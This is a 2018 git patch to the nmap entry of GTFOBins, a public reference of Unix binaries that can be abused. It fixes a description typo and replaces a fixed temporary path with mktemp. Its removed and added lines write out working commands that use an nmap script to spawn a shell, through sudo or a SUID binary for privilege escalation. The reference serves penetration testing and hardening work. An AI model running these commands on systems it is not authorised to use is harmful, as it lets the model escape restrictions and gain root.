From 14c8781f2d37267e57be9ba65fe5b1ebd9aeb54c Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Sun, 19 Aug 2018 11:20:37 +0100 Subject: [PATCH] Fix nmap description and temporary file --- _gtfobins/nmap.md | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/_gtfobins/nmap.md b/_gtfobins/nmap.md index cc93942..1679503 100644 --- a/_gtfobins/nmap.md +++ b/_gtfobins/nmap.md @@ -1,18 +1,21 @@ --- functions: - execute-non-interactive: - - description: Echoing of input characters3ers is disabled. + execute-interactive: + - description: Echoing of input characters is disabled. code: | - echo 'os.execute("/bin/sh")' > /tmp/script.nse - nmap --script=/tmp/script.nse + TF=$(mktemp) + echo 'os.execute("/bin/sh")' > $TF + nmap --script=$TF sudo-enabled: - - description: Echoing of input characters3ers is disabled. + - description: Echoing of input characters is disabled. code: | - echo 'os.execute("/bin/sh")' > /tmp/script.nse - sudo nmap --script=/tmp/script.nse + TF=$(mktemp) + echo 'os.execute("/bin/sh")' > $TF + sudo nmap --script=$TF suid-enabled: - - description: Echoing of input characters3ers is disabled. + - description: Echoing of input characters is disabled. code: | - echo 'os.execute("/bin/sh -p")' > /tmp/script.nse - ./nmap --script=/tmp/script.nse + TF=$(mktemp) + echo 'os.execute("/bin/sh -p")' > $TF + ./nmap --script=$TF ---